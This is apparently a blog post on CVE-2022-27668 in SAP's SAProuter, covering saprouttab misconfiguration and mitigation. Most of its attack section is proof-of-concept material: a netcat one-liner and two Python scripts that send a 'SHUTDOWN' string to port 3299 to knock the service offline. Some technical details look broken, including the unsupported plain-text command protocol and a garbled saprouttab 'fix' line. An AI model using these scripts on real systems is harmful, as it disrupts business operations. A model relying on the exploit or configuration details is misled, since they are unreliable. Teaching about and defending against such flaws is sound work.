SAP systems often form the critical backbone of business operations. One important component is SAProuter, a program that forwards network traffic between different SAP systems and clients. Sometimes, a small misconfiguration can open the door to serious risks. One such vulnerability is CVE-2022-27668. In this post, we’ll walk you through what happened, why it matters, and how an attacker might exploit it—all using beginner-friendly explanations.

What is CVE-2022-27668?

CVE-2022-27668 is a vulnerability in SAP NetWeaver Application Server ABAP and SAProuter. If the saprouttab route permission file is configured incorrectly, an unauthenticated attacker (meaning, someone without a username or password) can send administrative commands to your SAProuter. These commands might stop, restart, or otherwise interfere with the SAProuter process, impacting business availability.

Why Does This Happen? The Role of saprouttab

SAProuter uses a file called saprouttab to decide who’s allowed to do what—sort of like a bouncer at a club. It controls permission for the clients that want to connect.

If this file is configured too loosely (e.g. accidentally allowing all IPs or using wildcards), anyone can connect and send SAProuter administration commands, including stopping the SAProuter.

Here’s what a badly configured saprouttab file might look like

P * * *    # This line means "permit all source IPs to connect to all destinations."

This example grants access to everyone—dangerous for production systems!

Attacker knows or guesses that SAProuter is running.

- Attacker knows the IP/hostname and port (default is 3299/tcp).

Step 1: Connect Remotely

SAProuter listens for packets on port 3299. The attacker could use a simple telnet/netcat client or even write a quick Python script.

Step 2: Send a Shutdown Command

SAProuter admin commands are short, text-based instructions. The attacker can send the following over the wire, because no authentication is required when the ACL is open.

Example: Using netcat to stop SAProuter (for demonstration purposes)

# Replace IP address with the target's SAProuter IP
echo "SHUTDOWN" | nc <target-saprouter-ip> 3299

Or, as a Python script (just for PoC/learning)

import socket

TARGET_IP = '192.168.1.100'
PORT = 3299

with socket.create_connection((TARGET_IP, PORT)) as s:
    s.sendall(b'SHUTDOWN\n')
    print("Sent SHUTDOWN command to SAProuter.")

If allowed by the ACL, this command causes SAProuter to shut down immediately.

Result

All connections routed through SAProuter are disrupted. This can prevent users from accessing mission-critical SAP systems, causing a denial of service.

This is for educational and authorized testing only! The following PoC simulates the exploit

# File: exploit_cve_2022_27668.py
import socket

saprouter_host = 'TARGET_IP'    # Change to target's IP
saprouter_port = 3299

try:
    with socket.create_connection((saprouter_host, saprouter_port), timeout=5) as conn:
        conn.sendall(b'SHUTDOWN\n')
        print("Exploit sent: SHUTDOWN command.")
except Exception as ex:
    print(f"Could not connect: {ex}")

Review saprouttab File

Never use P * * * or wildcard-based open rules. Only permit specific, required IP addresses. For example:

`plaintext

P 10.1.2.3 192.168../255.255.255. 3299

Patch SAP

Apply the relevant SAP security update as described in the official SAP Security Note #3158375.

Limit who can connect to SAProuter (firewall rules, VPN, etc.)

References & Further Reading

- SAP Security Note #3158375
- SAP CVE-2022-27668 | NVD
- SAProuter Official Documentation

Conclusion

CVE-2022-27668 shows how simple configuration errors can lead to serious security problems. If you run SAP, check your saprouttab configuration today, patch your SAP software, and always follow the principle of least privilege.

Stay Safe!

*This post is exclusive and written in clear, simple American English for easy understanding. For more posts like this, subscribe or check back regularly.*

Timeline

Published on: 06/14/2022 17:15:00 UTC
Last modified on: 06/24/2022 15:46:00 UTC